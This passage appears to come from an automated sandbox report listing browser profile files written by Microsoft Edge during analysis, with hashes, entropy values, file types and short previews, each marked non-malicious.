SHA-512:	38B15FE7503F6DFF9D39BC74AA0150A7FF038029F973BE9A37456CDE6807BCBDEAB06E624331C8DFDABE95A5973B0EE26A391DB2587E614A37ADD50046470162
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...i............t...c................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.612618014151253
Encrypted:	false
SSDEEP:	12:TLW4QpRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWpMAqUiZ7L:TLqpR+DDNzWjJ0npnyXKUO8+jEpNmL
MD5:	E8FA6177CB30C1C1F814890912481762
SHA1:	63DCB48E7C944546EF39BB8A0C2788987C3FDB0F
SHA-256:	570C9845D17B29BC4FB147CC23CCC9F09857B7411EF403277E89C168EE860A40
SHA-512:	1AA80CFD3E980FFDD6A8631DB0DAF80088F249D05A5CE44D9B1F4BCFDA308A3CADD20EC456CF25B026AA9F5B74CCD130679E74FD3B6126F8D06BD1FEC8D83819
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.3541325131258715
Encrypted:	false
SSDEEP:	6144:SA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:SFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	9C0DD56D56F0221FDF21C82225CB177E
SHA1:	E5566FCF10C8F09ED0F6C98E28ADDEA493F94553
SHA-256:	F46A3D8052CAE8B972B52DCE550B2CF2ED2F68488CC8A32F49154688B326C995
SHA-512:	DE7161692C69B5AF8AC6E5086717D041FB4CADC7FCB20D4B9CDE56D119292EE5167C083AF9B163D4593967CCB1FF8C973B7A4A0B53DDB3125C73A9EDF8F5D7C4
Malicious:	false
Preview:	...m.................DB_VERSION.1$.;.q...............&QUERY_TIMESTAMP:domains_config_gz2...13378835666208744..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.122673053784938
Encrypted:	false
SSDEEP:	6:7GAVR1wkn23oH+Tcwtk2WwnvB2KLlpXwFlyq2Pwkn23oH+Tcwtk2WwnvIFUv:7Gw0fYebkxwnvFLTAFIvYfYebkxwnQF2
MD5:	DEDE58D210F9C462BC2DF3EB1F80127A
SHA1:	DAFE1FF0E6320D2C3BE9A52A1306FA55865615E5
SHA-256:	DE8CC175A69D3D9D65A838FC51AA1EDB92703996B11C3F272EC99365CBDC1B9D
SHA-512:	BA5CC7BA010EE0806267C1FBAB57A824B779980E6F8750440F213A819586FB9C7DB8736FFFE39B26D5479F0F736BA71840AC79BE3699FAB806373E49E05AB795
Malicious:	false
Preview:	2024/12/16-10:14:24.236 21e0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/12/16-10:14:24.280 21e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324605592425355
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RM:C1gAg1zfv0
MD5:	F0044AA62B07605C2DF137C7D0A75468
SHA1:	56E4D7197EAFB64BED450DF8B792A9A2D3F94AA9
SHA-256:	7E80364316426767EDC35633389B11CFAB6B68F5DFFDBD90ED609B904AFA8130
SHA-512:	CD0B5F3510D5A2B2298477A27CD0DAD783920BD8CB18B586E72290BBD99CB19360FB95574C0D5492A1D8490E392ACADF437E3BDDF41D93799B2A21953DB27F79
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCTCTCT
MD5:	478D49D9CCB25AC14589F834EA70FB9E
SHA1:	5D30E87D66E279F8815AFFE4C691AAF1D577A21E
SHA-256:	BB6CC6DF54CF476D95409032C79E065F4E10D512E73F7E16018E550456F753D5
SHA-512:	FB5431054A23D3C532568B1F150873D9130DBC4A88BE19BC2A4907D0DC2888C5B55993154EAD4A6C466E2173092B8705684A6802B850F051639E1F2457387471
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	279
Entropy (8bit):	5.115874302828657
Encrypted:	false
SSDEEP:	6:7S4M1wkn23oH+Tcwt8aVdg2KLlpFq2Pwkn23oH+Tcwt8aPrqIFUv:7hrfYeb0LTFvYfYebL3FUv
MD5:	A8CBE7BC3ECBC1EE3C03B521BC870528
SHA1:	537FE1DD000463E2085A48BA8F816033070E55BF
SHA-256:	6B44CFBAEFECBDD40AA717D3DC579390213524D84315F2A47DDB1EC7C1348D64
SHA-512:	E8766A88EFD1028A3A18D3652F9F73E5F9025573A8D00A554DD6BED5106C651A3F43A982F399021ED13FD140BF648B774B2837934A8147CAEAF5CDE354410E63
Malicious:	false
Preview:	2024/12/16-10:14:20.004 884 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules since it was missing..2024/12/16-10:14:20.248 884 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCTCTCT
MD5:	478D49D9CCB25AC14589F834EA70FB9E
SHA1:	5D30E87D66E279F8815AFFE4C691AAF1D577A21E
SHA-256:	BB6CC6DF54CF476D95409032C79E065F4E10D512E73F7E16018E550456F753D5
SHA-512:	FB5431054A23D3C532568B1F150873D9130DBC4A88BE19BC2A4907D0DC2888C5B55993154EAD4A6C466E2173092B8705684A6802B850F051639E1F2457387471
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	283
Entropy (8bit):	5.132639767093922
Encrypted:	false
SSDEEP:	6:7kQ4M1wkn23oH+Tcwt86FB2KLlpPaq2Pwkn23oH+Tcwt865IFUv:7k3rfYeb/FFLTPavYfYeb/WFUv
MD5:	D3C86A7EE1F4CAB3513CCAC1135EA068
SHA1:	BC1F36E5AC974E4B9C047B62D1B6604BBF4BD728
SHA-256:	19E58894CB6EA3E4D80A1FDA18ED2C2D1226846766AFD9965AB6D9F738685108
SHA-512:	316FB3AFE2C944EC7F9407C6EF8065E7E83E9854E0D5AD81596D92925B5C9AF89800F394EDB1C9EAF313FC2522513D5CA377963D3CEE068EE0D4B406C3338D88
Malicious:	false
Preview:	2024/12/16-10:14:20.250 884 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts since it was missing..2024/12/16-10:14:20.290 884 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW:
MD5:	A2A3B1383E3AAC2430F44FC7BF3E447E
SHA1:	B807210A1205126A107A5FE25F070D2879407AA4
SHA-256:	90685D4E050DA5B6E6F7A42A1EE21264A68F1734FD3BD4A0E044BB53791020A2
SHA-512:	396FAB9625A2FF396222DBC86A0E2CDE724C83F3130EE099F2872AED2F2F2ECE13B0853D635F589B70BD1B5E586C05A3231D68CAF9E46B6E2DAC105A10D0A1C8
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.106426679650269
Encrypted:	false
SSDEEP:	6:7EAq2Pwkn23oH+Tcwt8NIFUt8OlfZmw+OSNkwOwkn23oH+Tcwt8+eLJ:7NvYfYebpFUt8Olf/+Ou5JfYebqJ
MD5:	906682622412B9C390E42388D100C3AB
SHA1:	89560744F90696D2B86657E2C828575FD66EBFB4
SHA-256:	D63F0FA47E4233914EFCA2E4863DC5AC60BA29C365CEFC153BBE08787FA52FEA
SHA-512:	9F29AC7F996AD87E067AE0C80F5B10C3D9ADE9FB51733C8A7806E0E2BE1CC7ACF1E72BCADD07048E78BD3C93E9F3A8741DBEC5FA7CCC13941AA938A614496C87
Malicious:	false
Preview:	2024/12/16-10:14:21.006 900 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/16-10:14:21.007 900 Recovering log #3.2024/12/16-10:14:21.008 900 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.106426679650269
Encrypted:	false
SSDEEP:	6:7EAq2Pwkn23oH+Tcwt8NIFUt8OlfZmw+OSNkwOwkn23oH+Tcwt8+eLJ:7NvYfYebpFUt8Olf/+Ou5JfYebqJ
MD5:	906682622412B9C390E42388D100C3AB
SHA1:	89560744F90696D2B86657E2C828575FD66EBFB4
SHA-256:	D63F0FA47E4233914EFCA2E4863DC5AC60BA29C365CEFC153BBE08787FA52FEA
SHA-512:	9F29AC7F996AD87E067AE0C80F5B10C3D9ADE9FB51733C8A7806E0E2BE1CC7ACF1E72BCADD07048E78BD3C93E9F3A8741DBEC5FA7CCC13941AA938A614496C87
Malicious:	false
Preview:	2024/12/16-10:14:21.006 900 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/16-10:14:21.007 900 Recovering log #3.2024/12/16-10:14:21.008 900 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityComp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 1, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.3169096321222068
Encrypted:	false
SSDEEP:	3:lSWbNFl/sl+ltl4ltllOl83/XWEEabIDWzdWuAzTgdWj3FtFIU:l9bNFlEs1ok8fDEPDadUTgd81Z
MD5:	2554AD7847B0D04963FDAE908DB81074
SHA1:	F84ABD8D05D7B0DFB693485614ECF5204989B74A
SHA-256:	F6EF01E679B9096A7D8A0BD8151422543B51E65142119A9F3271F25F966E6C42
SHA-512:	13009172518387D77A67BBF86719527077BE9534D90CB06E7F34E1CCE7C40B49A185D892EE859A8BAFB69D5EBB6D667831A0FAFBA28AC1F44570C8B68F8C90A4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityEdge

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 8, cookie 0x8, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.40981274649195937
Encrypted:	false
SSDEEP:	24:TL1WK3iOvwxwwweePKmJIOAdQBVA/kjo/TJZwJ9OV3WOT/5eQQ:Tmm+/9ZW943WOT/
MD5:	1A7F642FD4F71A656BE75B26B2D9ED79
SHA1:	51BBF587FB0CCC2D726DDB95C96757CC2854CFAD
SHA-256:	B96B6DDC10C29496069E16089DB0AB6911D7C13B82791868D583897C6D317977
SHA-512:	FD14EADCF5F7AB271BE6D8EF682977D1A0B5199A142E4AB353614F2F96AE9B49A6F35A19CC237489F297141994A4A16B580F88FAC44486FCB22C05B2F1C3F7D1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j............M.....8...b..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, 1st free page 10, free pages 4, cookie 0x45, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.6046380212206486
Encrypted:	false
SSDEEP:	96:JurNucbR4U+bGzPDLjGQLBE3up+U0jBo4tgi3JMe9xJDECVjN:Jul+GPXBBE3upb0HtTTDxVj
MD5:	AE26106E6C9C3370403AE2BC3A73B208
SHA1:	0FE1B3A20618451CD1404D1CE969D291451C4F42
SHA-256:	7A9495C6F0F7A7C946C54EA68865542648F50066C0AC44427EF7F5678BEBC2E1
SHA-512:	B279206A9AC83CAC21671AD39E27C1E94A5AAC7E63E0474B40F948ADAD07F801FAECD524901BADDB861FEA7E96BC121B58C88CFF7C7B723A40F5520A96180B7C
Malicious:	false
Preview:	SQLite format 3......@ .......'...........E......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.3281731663735024
Encrypted:	false
SSDEEP:	6:SHIFA/J3+t76Y4QZZofU99pO0BYLH+TqR4EZY4QZvGcv:2IWhHQws9LdiBBQZGcv
MD5:	5DE9764DBD80907105CA70984B3F6FA0
SHA1:	104A0A8F0FD57FA943B2A0646DE3357F3B0D2ABC
SHA-256:	D5F7D2203AAE7A286E57A9FFEB5BABF7DB724725887142097017C6E7F811D261
SHA-512:	2631FE310750D27B394200EC47C572600C5E54B9BD04499DB88E4F6C0DF8B79A62EE173256087CDCED39151582D633403089FFEAF76CE60D035A998D8ADCEFBE
Malicious:	false
Preview:	..................'....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
